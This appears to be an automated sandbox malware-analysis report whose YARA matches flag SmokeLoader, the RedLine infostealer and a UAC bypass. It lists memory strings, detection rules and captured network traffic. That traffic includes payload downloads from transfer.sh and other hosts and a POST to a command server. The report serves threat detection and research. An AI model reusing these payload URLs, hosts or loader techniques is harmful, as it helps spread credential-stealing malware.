Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Responsel
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: RegSvcs.exe, 0000000E.00000002.577540986.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Responsel
Source: RegSvcs.exe, 00000012.00000002.634114447.0000000000877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://transfer.sh/get/yAEPpl/gggge.exe
Source: 66CA.exe, 0000000B.00000003.457217548.0000000005783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: 123.exe, 0000000C.00000002.484118023.0000000000873000.00000004.00000001.01000000.0000000C.sdmp, RegSvcs.exe, 0000000E.00000002.573310627.0000000000402000.00000020.00000400.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: RegSvcs.exe, 00000012.00000002.637794131.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000012.00000002.638503159.0000000003280000.00000004.00001000.00020000.00000000.sdmp, re.exe.18.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: RegSvcs.exe, 00000012.00000002.634114447.0000000000877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/3=
Source: RegSvcs.exe, 00000012.00000002.634114447.0000000000877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/get/yAEPpl/gggge.exe
Source: RegSvcs.exe, 00000012.00000003.517039777.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/get/yAEPpl/gggge.exesh
Source: RegSvcs.exe, 00000012.00000002.634114447.0000000000877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/y=R

Source: unknown

DNS traffic detected: queries for: aapu.at

Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: radiobridge-egy.com
Source: global traffic	HTTP traffic detected: GET /get/yAEPpl/gggge.exe HTTP/1.1User-Agent: SmartLoaderHost: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /98.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h168121.srv21.test-hf.su
Source: global traffic	HTTP traffic detected: GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1Content-Type: application/jsonUser-Agent: SmartLoaderHost: ip-api.com
Source: global traffic	HTTP traffic detected: GET /get/yAEPpl/gggge.exe HTTP/1.1Content-Type: application/jsonUser-Agent: SmartLoaderHost: transfer.sh

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708

Source: unknown	TCP traffic detected without corresponding DNS query: 84.252.73.140
Source: unknown	TCP traffic detected without corresponding DNS query: 84.252.73.140
Source: unknown	TCP traffic detected without corresponding DNS query: 84.252.73.140
Source: unknown	TCP traffic detected without corresponding DNS query: 84.252.73.140
Source: unknown	TCP traffic detected without corresponding DNS query: 84.252.73.140
Source: unknown	TCP traffic detected without corresponding DNS query: 84.252.73.140

Source: unknown

HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ypasjfn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 313Host: aapu.at

Source: unknown	HTTPS traffic detected: 95.111.233.125:443 -> 192.168.2.4:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49733 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.332606751.0000000000990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.332709751.0000000002461000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.416124852.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.416145002.00000000008B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: 72E5.exe, 00000005.00000002.431543257.000000000097A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.72E5.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 5.2.72E5.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.123.exe.873a80.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.3.123.exe.10a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.123.exe.873a80.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.123.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000002.332606751.0000000000990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.332709751.0000000002461000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.431042290.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000002.00000002.416061503.00000000007F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000A.00000002.446469388.000000000089F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.332655899.00000000009D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.332596480.0000000000980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000002.00000002.416197713.0000000000948000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.451428778.00000000024B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.431911028.0000000000988000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000002.416124852.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000002.00000002.416145002.00000000008B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

Source: C:\Windows\Temp\123.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 728 -s 220

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418C54	0_2_00418C54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004120D7	0_2_004120D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00417101	0_2_00417101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412980	0_2_00412980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412D8C	0_2_00412D8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00419198	0_2_00419198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004125AC	0_2_004125AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004131AC	0_2_004131AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418710	0_2_00418710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040CF20	0_2_0040CF20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A78B	0_2_0041A78B
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00418C54	2_2_00418C54
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_004120D7	2_2_004120D7
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00417101	2_2_00417101
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00412980	2_2_00412980
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00412D8C	2_2_00412D8C
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00419198	2_2_00419198
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_004125AC	2_2_004125AC
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_004131AC	2_2_004131AC
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00418710	2_2_00418710
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_0040CF20	2_2_0040CF20
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_0041A78B	2_2_0041A78B

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.web.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: capabilityaccessmanagerclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Section loaded: dxgidebug.dll	Jump to behavior

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.72E5.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 5.2.72E5.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.123.exe.873a80.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.3.123.exe.10a0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.123.exe.873a80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.123.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000002.332606751.0000000000990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.332709751.0000000002461000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.431042290.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000002.00000002.416061503.00000000007F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000A.00000002.446469388.000000000089F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.332655899.00000000009D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.332596480.0000000000980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000002.00000002.416197713.0000000000948000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.451428778.00000000024B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.431911028.0000000000988000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000002.416124852.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000002.00000002.416145002.00000000008B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: C:\Users\user\AppData\Local\Temp\66CA.exe

File deleted: C:\Windows\Temp\__tmp_rar_sfx_access_check_5221265

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040D4E8 appears 32 times
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: String function: 0040D4E8 appears 32 times

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040153A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040153A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401545 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401545
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401551 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401551
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040155A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040155A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401564 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401564
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401568 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401568
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040156E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401706 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401706
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040331C Sleep,GetModuleFileNameW,ExpandEnvironmentStringsW,lstrcatW,CreateFileW,MapViewOfFile,LocalFree,GetForegroundWindow,GetTokenInformation,ShellExecuteExW,NtCreateSection,NtQueryKey,NtEnumerateKey,strstr,wcsstr,tolower,towlower,	0_2_0040331C
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_0040153A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_0040153A
